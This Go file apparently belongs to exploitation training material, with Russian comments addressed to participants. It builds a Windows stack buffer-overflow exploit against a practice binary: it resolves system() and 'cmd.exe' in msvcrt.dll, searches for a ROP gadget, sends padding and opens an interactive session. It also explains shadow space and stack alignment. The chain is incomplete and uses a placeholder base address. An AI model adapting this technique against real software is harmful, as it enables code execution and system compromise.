package main

import (
	"bytes"
	"fmt"
	"log"
	"winpwn"
)

func main() {

	pe, err := winpwn.OpenPE("./bof_win.c.exe")

	if err == nil {
		defer pe.Close()
	}

	msvcrt, err := winpwn.OpenPE("C:\\Windows\\System32\\msvcrt.dll")
	if err != nil {
		log.Fatalf("Failed to open DLL: %v", err)
	}
	defer msvcrt.Close()

	// 2. Ищем функцию system (аналог libc.symbols['system'])
	systemRVA, err := msvcrt.GetProcAddress("system")
	if err != nil {
		log.Fatalf("system() not found")
	}
	log.Printf("[+] system() RVA: 0x%X", systemRVA)

	// 3. Ищем строку "cmd.exe\x00" (аналог next(libc.search(b'cmd.exe\x00')))
	cmdPattern := []byte("cmd.exe\x00")
	cmdRVAs, err := msvcrt.SearchBytes(cmdPattern)
	if err != nil {
		log.Fatalf("String 'cmd.exe' not found")
	}
	log.Printf("[+] 'cmd.exe' RVA: 0x%X", cmdRVAs[0])

	// ... Логика утечки (leak) базового адреса msvcrt.dll во время исполнения ...
	var msvcrtBase uint64 = 0x7FF00000000 // Пример полученного адреса

	// 4. Вычисляем абсолютные адреса для ROP-цепочки
	systemAddr := msvcrtBase + systemRVA
	cmdStringAddr := msvcrtBase + cmdRVAs[0]

	log.Printf("[+] system() absolute address: 0x%X", systemAddr)
	log.Printf("[+] 'cmd.exe' absolute address: 0x%X", cmdStringAddr)

	//------------------------------------
	rop, err := winpwn.NewROP("bof_win.c.exe") // native scanner, no rp++ needed
	if err != nil {
		log.Fatalf("rop init error : %v", err)
	}
	defer rop.Close()

	popRcx, err := rop.Search("pop rcx ; ret")
	if err != nil {
		log.Fatalf("Gadget not found")
	}

	// Выводим первый найденный гаджет
	fmt.Printf("[+] Found 'pop rcx; ret' at: 0x%X\n", popRcx[0].Address)

	// Интеграция в пейлоад
	// payload = append(payload, winpwn.P64(popRcx[0].Address)...)

	payload := bytes.Repeat([]byte("a"), 128)

	p, err := winpwn.Spawn("bof_win.c.exe")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}

	if err := p.SendLineAfter([]byte("enter your data: \n"), payload); err != nil {
		log.Fatalf("SendLineAfter: %v", err)
	}

	p.Interactive()
}

/*На что обратить внимание твоим участникам:

  Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.

  Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */
